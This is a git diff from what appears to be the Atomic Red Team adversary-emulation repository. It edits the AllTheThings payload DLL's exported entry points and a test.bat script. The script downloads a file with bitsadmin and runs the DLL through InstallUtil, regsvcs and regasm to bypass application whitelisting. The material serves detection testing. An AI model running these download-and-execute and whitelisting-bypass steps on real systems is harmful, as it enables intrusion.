diff --git a/Windows/Payloads/AllTheThings/AllTheThingsx64.dll b/Windows/Payloads/AllTheThings/AllTheThingsx64.dll old mode 100755 new mode 100644 index 8996765a..0b79dcf7 Binary files a/Windows/Payloads/AllTheThings/AllTheThingsx64.dll and b/Windows/Payloads/AllTheThings/AllTheThingsx64.dll differ diff --git a/Windows/Payloads/AllTheThings/AllTheThingsx86.dll b/Windows/Payloads/AllTheThings/AllTheThingsx86.dll old mode 100755 new mode 100644 index c57842ee..072e40c4 Binary files a/Windows/Payloads/AllTheThings/AllTheThingsx86.dll and b/Windows/Payloads/AllTheThings/AllTheThingsx86.dll differ diff --git a/Windows/Payloads/AllTheThings/Program.cs b/Windows/Payloads/AllTheThings/Program.cs index ddaa39a6..f7b17eb5 100755 --- a/Windows/Payloads/AllTheThings/Program.cs +++ b/Windows/Payloads/AllTheThings/Program.cs @@ -141,32 +141,32 @@ class Exports // // //rundll32 entry point - [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)] - public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) - { - Thing0.Exec(); - } + [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)] + public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) + { + Thing0.Exec(); + } - [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] - public static bool DllRegisterServer() - { - Thing0.Exec(); - return true; - } + [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] + public static bool DllRegisterServer() + { + Thing0.Exec(); + return true; + } - [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] - public static bool DllUUnregisterServer() - { - Thing0.Exec(); - return true; - } + [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] + public static bool DllUUnregisterServer() + { + Thing0.Exec(); + return true; + } [DllExport("DllInstall", CallingConvention = CallingConvention.StdCall)] - public static void DllInstall(bool bInstall, IntPtr a) - { - string b = Marshal.PtrToStringUni(a); - Thing0.ExecParam(b); - } + public static void DllInstall(bool bInstall, IntPtr a) + { + string b = Marshal.PtrToStringUni(a); + Thing0.ExecParam(b); + } } diff --git a/Windows/Payloads/AllTheThings/test.bat b/Windows/Payloads/AllTheThings/test.bat index 52385010..4bab4516 100755 --- a/Windows/Payloads/AllTheThings/test.bat +++ b/Windows/Payloads/AllTheThings/test.bat @@ -7,7 +7,6 @@ bitsadmin.exe /transfer "ATT" https://github.com/redcanaryco/atomic-red-team/raw timeout /t 1 /nobreak > NUL REM X86 -Executing X86 AllTheThings Test C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThingsx86.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThingsx86.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThingsx86.dll diff --git a/Windows/Payloads/AtomicSSLHook.dll b/Windows/Payloads/AtomicSSLHook.dll deleted file mode 100755 index 3f721182..00000000 Binary files a/Windows/Payloads/AtomicSSLHook.dll and /dev/null differ